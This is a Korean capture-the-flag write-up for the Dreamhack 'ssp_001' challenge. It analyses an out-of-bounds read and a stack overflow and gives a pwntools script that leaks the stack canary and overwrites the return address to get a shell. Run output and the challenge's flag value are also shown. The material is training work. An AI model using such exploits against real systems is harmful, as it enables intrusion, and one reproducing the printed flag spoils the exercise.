콘텐츠로 건너뛰기

ssp_001

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Files

ubuntu@WSL2:~/CTF/dreamhack.io$ tree ssp_001
ssp_001
├── ssp_001
└── ssp_001.c

0 directories, 2 files

32비트 리눅스용 실행 파일 하나와 소스코드.

분석

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // [esp+4h] [ebp-94h] BYREF
  size_t name_len; // [esp+8h] [ebp-90h] BYREF
  __int16 select; // [esp+Eh] [ebp-8Ah] BYREF
  char box[64]; // [esp+10h] [ebp-88h] BYREF
  char name[64]; // [esp+50h] [ebp-48h] BYREF
  unsigned int v9; // [esp+90h] [ebp-8h]

  v9 = __readgsdword(0x14u);
  memset(box, 0, sizeof(box));
  memset(name, 0, sizeof(name));
  select = 0;
  idx = 0;
  name_len = 0;
  initialize(argv);
  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        read(0, &select, 2u);
        if ( (char)select != 70 )
          break;
        printf("box input : ");
        read(0, box, 0x40u);
      }
      if ( (char)select != 80 )
        break;
      printf("Element index : ");
      __isoc99_scanf("%d", &idx);
      print_box(box, idx);
    }
  }
  while ( (char)select != 69 );
  printf("Name Size : ");
  __isoc99_scanf("%d", &name_len);
  printf("Name : ");
  read(0, name, name_len);
  return 0;
}

먼저 menu() 함수를 통해 메뉴 목록이 출력되는데,

[F]ill the box
[P]rint the box
[E]xit

이렇게 3가지 메뉴가 존재한다.

F를 입력할 경우, 64바이트만큼 read 함수를 통해 v7을 입력받을 수 있다.
P를 입력할 경우, v7[v4] 1바이트를 출력시키게 되는데, 여기서 Out Of Boundary 취약점이 발생한다.
E를 입력할 경우, Name Size와 Name을 입력받는데 Name을 Name Size만큼 입력받으므로, 여기서 Buffer Overflow 취약점이 발생한다.

풀이

위와 같은 스택 구조를 이루고 있다.

[P]rint the box 메뉴로 Out Of Boundary 취약점을 이용하여,
차례대로 Stack Canary, EBP, RET을 노출시킬 수 있다.
[E]xit 메뉴를 통해 name을 입력받을때, 노출된 Stack Canary 값으로 보호기법을 우회하고 RET 주소를 get_shell 주소로 덮어쓰면 된다.

Solution

from pwn import *
# context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 16560)
#p = process('./ssp_001')
e = ELF('./ssp_001')

get_shell = e.symbols['get_shell']

p.recvuntil(b'> ')

# #Box Input, A*64
# p.sendline(b'F')
# p.recvuntil(b'box input : ')
# p.sendline(b'\x41'*64)
# p.recvuntil(b'> ')

#Leak stack canary
#128~131
canary = ''
for i in range(4):
    element_index = 128+i
    p.sendline(b'P')
    p.recvuntil(b'Element index : ')
    p.sendline(str(element_index))
    my_byte = p.recvline().split(b' : ')[1][:2]
    canary += my_byte.decode('utf-8')
    p.recvuntil(b'> ')
canary = u32(bytes.fromhex(canary))
print("[+] canary: " + hex(canary))

#Leak Unknown address?
#132~135
unk = ''
for i in range(4):
    element_index = 132+i
    p.sendline(b'P')
    p.recvuntil(b'Element index : ')
    p.sendline(str(element_index))
    my_byte = p.recvline().split(b' : ')[1][:2]
    unk += my_byte.decode('utf-8')
    p.recvuntil(b'> ')
unk = u32(bytes.fromhex(unk))
print("[+] unk: " + hex(unk))

#Leak EBP
#136 ~ 139
ebp = ''
for i in range(4):
    element_index = 136+i
    p.sendline(b'P')
    p.recvuntil(b'Element index : ')
    p.sendline(str(element_index))
    my_byte = p.recvline().split(b' : ')[1][:2]
    ebp += my_byte.decode('utf-8')
    p.recvuntil(b'> ')
ebp = u32(bytes.fromhex(ebp))
print("[+] ebp: " + hex(ebp))

#Leak RET
#140 ~ 143
ret = ''
for i in range(4):
    element_index = 140+i
    p.sendline(b'P')
    p.recvuntil(b'Element index : ')
    p.sendline(str(element_index))
    my_byte = p.recvline().split(b' : ')[1][:2]
    ret += my_byte.decode('utf-8')
    p.recvuntil(b'> ')
ret = u32(bytes.fromhex(ret))
print("[+] ret: " + hex(ret))

#Name Size:
p.sendline(b'E')
p.recvuntil(b'Name Size : ')
p.sendline(b'41414141')
p.recvuntil(b'Name : ')
payload = b"A"*64 + p32(canary) + p32(unk) + p32(ebp) + p32(get_shell)
p.sendline(payload)
#Done, get flag!
p.interactive()

# p.recvuntil(b'Addr : ')
# p.sendline(str(stack_chk_fail_got))
# p.recvuntil(b'Value : ')
# p.sendline(str(get_shell))

# p.interactive()

FLAG

DH{00c609773822372daf2b7ef9adbdb824}

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/ssp_001$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 18377: Done
[*] '/home/ubuntu/Desktop/dreamhack-CTF/ssp_001/ssp_001'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] canary: 0xdf15fe00
[+] unk: 0xf7edc000
[+] ebp: 0x0
[+] ret: 0xf7d44647
[*] Switching to interactive mode
$ ls
flag
run.sh
ssp_001
$ cat flag
DH{00c609773822372daf2b7ef9adbdb824}$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 18377
태그:

답글 남기기